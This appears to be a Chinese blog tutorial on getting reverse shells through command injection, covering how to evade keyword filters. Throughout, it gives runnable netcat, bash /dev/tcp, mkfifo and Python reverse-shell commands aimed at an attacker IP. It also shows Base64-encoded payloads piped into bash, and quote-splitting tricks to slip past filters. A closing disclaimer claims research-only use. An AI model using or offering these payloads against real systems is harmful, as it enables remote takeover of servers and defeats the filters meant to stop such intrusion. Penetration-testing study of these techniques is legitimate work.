绕过关键字过滤并利用 Netcat 反弹 Shell 的完整流程

绕过关键字过滤并利用 Netcat 反弹 Shell 的完整流程

1. 背景知识

在渗透测试或命令注入攻击中,目标服务器可能会有关键字过滤(比如 ncbash/bin/sh 等)。为了绕过检测,我们可以使用 Base64 编码,把真正的命令隐藏起来,并让目标服务器解码执行。

目标:

  1. 在攻击者机器(你自己的电脑)上监听端口,等待目标服务器反向连接。
  2. 在目标服务器上执行 Netcat 反弹 Shell 命令,把 Shell 发送到你的监听端口。
  3. 如果服务器有关键字检测,就用 Base64 编码绕过。

2. 反弹 Shell 的基础方法(无编码)

最基础的 Netcat 反弹 Shell 命令是:

nc -nv 攻击者IP 1234 -e /bin/bash

其中:

  • -n 不进行 DNS 解析,加快连接速度。
  • -v 显示详细信息(可选)。
  • 攻击者IP 是你的 IP(监听端机器)。
  • -e /bin/bash 让 Netcat 把 Bash Shell 绑定到 TCP 连接上。

示例

攻击者机器监听:

nc -nvlp 1234

目标服务器执行反弹 Shell 命令:

nc -nv 192.168.1.100 1234 -e /bin/bash

如果连接成功,你在 nc -nvlp 1234 的窗口里会获得一个远程 Shell。


3. 目标服务器有关键字检测,如何绕过?

(1)先在本地进行 Base64 编码

不能直接输入 nc -nv 192.168.1.100 1234 -e /bin/bash,否则可能被拦截,所以先进行 Base64 编码:

echo -n "nc -nv 192.168.1.100 1234 -e /bin/bash" | base64

输出示例:

bmMgLW52IDE5Mi4xNjguMS4xMDAgMTIzNCAtZSAvYmluL2Jhc2g=

(2)在目标服务器执行 Base64 方式的反弹 Shell

echo bmMgLW52IDE5Mi4xNjguMS4xMDAgMTIzNCAtZSAvYmluL2Jhc2g= | base64 -d | bash

该命令的作用:

  1. echo "Base64编码字符串":输出 Base64 版本的命令。
  2. base64 -d:解码回原来的 nc -nv 192.168.1.100 1234 -e /bin/bash
  3. bash:执行解码后的命令。

如果执行成功,目标服务器会尝试连接 192.168.1.100:1234,并且你在攻击者机器上的 nc -nvlp 1234 监听窗口会收到一个 Shell。


4. 绕过更严格的检测

(1)分块 Base64 解码

echo bmMgLW52IDE5Mi4xNjguMS4xMDAgMTIzNCAtZSAvYmluL2Jhc2g= | ba''se''6''4 -d | b''a''s''h

或者:

echo bmMgLW52IDE5Mi4xNjguMS4xMDAgMTIzNCAtZSAvYmluL2Jhc2g= | ba''se''6''4 -d | /b''i''n/sh

(2)使用 $(echo xxx | base64 -d) 方式

bash -c "$(echo bmMgLW52IDE5Mi4xNjguMS4xMDAgMTIzNCAtZSAvYmluL2Jhc2g= | base64 -d)"

这样 bash -c 负责执行括号里的命令。


5. 如何判断目标服务器支持 Base64?

echo "dGVzdA==" | base64 -d

如果返回 test,说明 base64 是可用的。


6. 可能遇到的问题

(1)目标服务器没有 nc

如果 nc 不可用,尝试使用 Bash 自带的 TCP 反弹:

bash -i >& /dev/tcp/192.168.1.100/1234 0>&1

然后同样可以 Base64 编码:

echo -n "bash -i >& /dev/tcp/192.168.1.100/1234 0>&1" | base64

目标服务器执行:

echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzEyMzQgMD4mMQ== | base64 -d | bash

(2)目标服务器无法连接你的监听端口

可能的原因:

  • 服务器的防火墙阻止了出站连接。
  • 你的监听端口(1234)被防火墙拦截(关闭防火墙或换个端口)。
  • 服务器的 nc 版本不支持 -e 选项,可以尝试 mkfifo 方式:
mkfifo /tmp/backpipe
/bin/sh 0</tmp/backpipe | nc 192.168.1.100 1234 1>/tmp/backpipe

再用 Base64 编码执行。


7. 总结

监听端(你的电脑):

nc -nvlp 1234

在本地编码 Netcat 反弹 Shell 命令:

echo -n "nc -nv 192.168.1.100 1234 -e /bin/bash" | base64

在目标服务器执行 Base64 反弹 Shell:

echo bmMgLW52IDE5Mi4xNjguMS4xMDAgMTIzNCAtZSAvYmluL2Jhc2g= | ba''se''6''4 -d | b''a''s''h

如果 nc 被禁用,尝试 Bash 反弹:

echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzEyMzQgMD4mMQ== | base64 -d | bash

这样你每次遇到命令注入、关键字过滤或者反弹 Shell 的时候,就可以按照这个流程一步步分析并尝试不同的方法!

8. 免责声明

本文章仅用于技术研究与网络安全学习,旨在帮助用户提高安全意识,防范潜在的网络威胁。所有内容均基于合法合规的测试环境,任何组织或个人不得将其用于非法用途,否则由使用者自行承担法律责任。本文作者不承担因使用本工具导致的任何直接或间接后果。

### 关于Netcat反弹Shell的常用命令 对于Netcat反弹Shell而言,通常涉及两个部分的操作:一是攻击者控制的机器上的监听设置;二是目标受害机器上发起连接传递Shell的行为。 在攻击者的机器上,可以使用如下命令来创建一个监听状态: ```bash nc -lvnp 9999 ``` 这条命令中的`-l`表示开启监听模式,`-v`用于显示详细的输出信息以便确认连接情况,`-n`意味着不进行DNS解析而直接通过IP地址工作,最后的`-p 9999`指定了本地要监听的具体端口[^2]。 而在受害方,则需运行相应的客户端命令去主动连接到上述设定好的服务端,且携带一个交互式的shell过去。典型的命令形式如下所示: ```bash nc 192.168.0.105 9999 -e /bin/bash ``` 这里的`192.168.0.105`代表了攻击者所使用的设备的真实公网或局域网内的IP地址,应当依据实际情况调整此数值。同时需要注意的是,在某些版本的Netcat实现里可能不支持直接利用 `-e` 参数来进行文件描述符重定向操作以获取反向shell功能[^1]。 为了兼容更多环境下的Netcat版本差异以及绕过防火墙等安全机制带来的限制,还可以采用其他方式构建类似的反向外壳效果,比如借助Python脚本来完成同样的目的: ```python python -c &#39;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&quot;x.x.x.x&quot;,5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([&quot;/bin/sh&quot;,&quot;-i&quot;]);&#39; ``` 这段代码实现了与传统Netcat相似的功能,其中`(x.x.x.x,5555)`应被替换为目标服务器的实际IP地址和开放端口[^3]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值